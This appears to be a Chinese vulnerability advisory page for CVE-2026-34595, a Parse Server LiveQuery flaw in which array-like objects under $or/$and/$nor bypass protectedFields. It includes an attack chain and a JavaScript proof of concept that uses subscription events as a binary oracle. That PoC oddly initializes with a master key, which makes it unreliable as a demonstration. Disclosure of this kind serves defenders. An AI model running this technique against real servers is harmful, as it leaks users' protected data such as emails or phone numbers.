IPBUF安全漏洞报告
English
CVE-2026-34595 CVSS 4.3 中危

CVE-2026-34595 Parse Server权限绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34595
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

权限绕过信息泄露Parse ServerLiveQueryCVE-2026-34595Node.js

漏洞概述

Parse Server是一个基于Node.js的开源后端框架。在8.6.70和9.7.0-alpha.18之前的版本中,存在一个安全漏洞。具有find类级别权限的经过身份验证的用户,可以通过发送特制的LiveQuery订阅请求来绕过protectedFields类级别权限设置。攻击者利用$or、$and或$nor运算符,并使用具有数字键和length属性的“类数组对象”代替数组,从而规避了保护字段的检查。订阅事件充当二进制预言机,允许攻击者推断受保护字段是否匹配给定的测试值,导致信息泄露风险。

技术细节

该漏洞源于Parse Server在处理LiveQuery订阅请求时的逻辑缺陷。正常情况下,protectedFields机制用于限制敏感字段在查询结果中的可见性。然而,当订阅查询中包含$or、$and或$nor逻辑运算符时,代码期望接收标准的数组结构。攻击者可以利用JavaScript对象的可塑性,构造一个“类数组对象”(例如 `{ "0": {...}, "length": 1 }`),该对象在属性上模拟数组,但绕过了针对protectedFields的特定类型安全检查。当服务器处理这种畸形请求时,虽然可能执行了查询逻辑,但针对受保护字段的过滤机制失效。结果,LiveQuery订阅事件会根据查询条件的匹配情况返回响应。攻击者可以通过观察订阅事件是否触发(充当二进制预言机),来推断受保护字段(如用户邮箱、电话等)的具体数值,从而在无需直接读取字段内容的情况下获取敏感信息。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标正在使用受影响版本的Parse Server,并确认启用了LiveQuery功能。
STEP 2
2. 获取凭证
攻击者注册或获取一个低权限账户,该账户需拥有目标类的find(查询)权限。
STEP 3
3. 构造恶意载荷
攻击者构造LiveQuery订阅请求,在$or、$and或$nor操作符中使用“类数组对象”而非标准数组,以此尝试绕过protectedFields检查。
STEP 4
4. 侧信道攻击
发送订阅请求并监听事件反馈。根据是否收到订阅事件(二进制响应),推断受保护字段的实际内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-34595: Parse Server LiveQuery protectedFields Bypass // This script demonstrates how an array-like object can bypass permission checks. const Parse = require('parse/node'); // Initialize Parse connection (requires valid credentials) Parse.initialize('YOUR_APP_ID', 'YOUR_JS_KEY', 'YOUR_MASTER_KEY'); Parse.serverURL = 'http://localhost:1337/parse'; // Target a class that has protectedFields configured const TargetClass = Parse.Object.extend('SensitiveData'); const query = new Parse.Query(TargetClass); // Construct the malicious payload using an object with numeric keys // instead of a standard array for the $or operator. const arrayLikePayload = { "0": { "secretField": "admin_password" }, // The value we want to test "length": 1 }; // Inject the payload into the query query._where.$or = arrayLikePayload; // Subscribe to the LiveQuery const subscription = await query.subscribe(); console.log('[*] Listening for events...'); // If the 'create' or 'update' event fires, it means the condition matched. // This acts as a binary oracle confirming the value of the protected field. subscription.on('update', (object) => { console.log('[+] Match found! The protected field likely matches the test value.'); }); subscription.on('create', (object) => { console.log('[+] Match found! The protected field likely matches the test value.'); });

影响范围

Parse Server < 8.6.70
Parse Server < 9.7.0-alpha.18

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用LiveQuery功能或移除非管理员用户的find权限,直到应用补丁为止。同时,应监控日志中是否存在异常的订阅请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表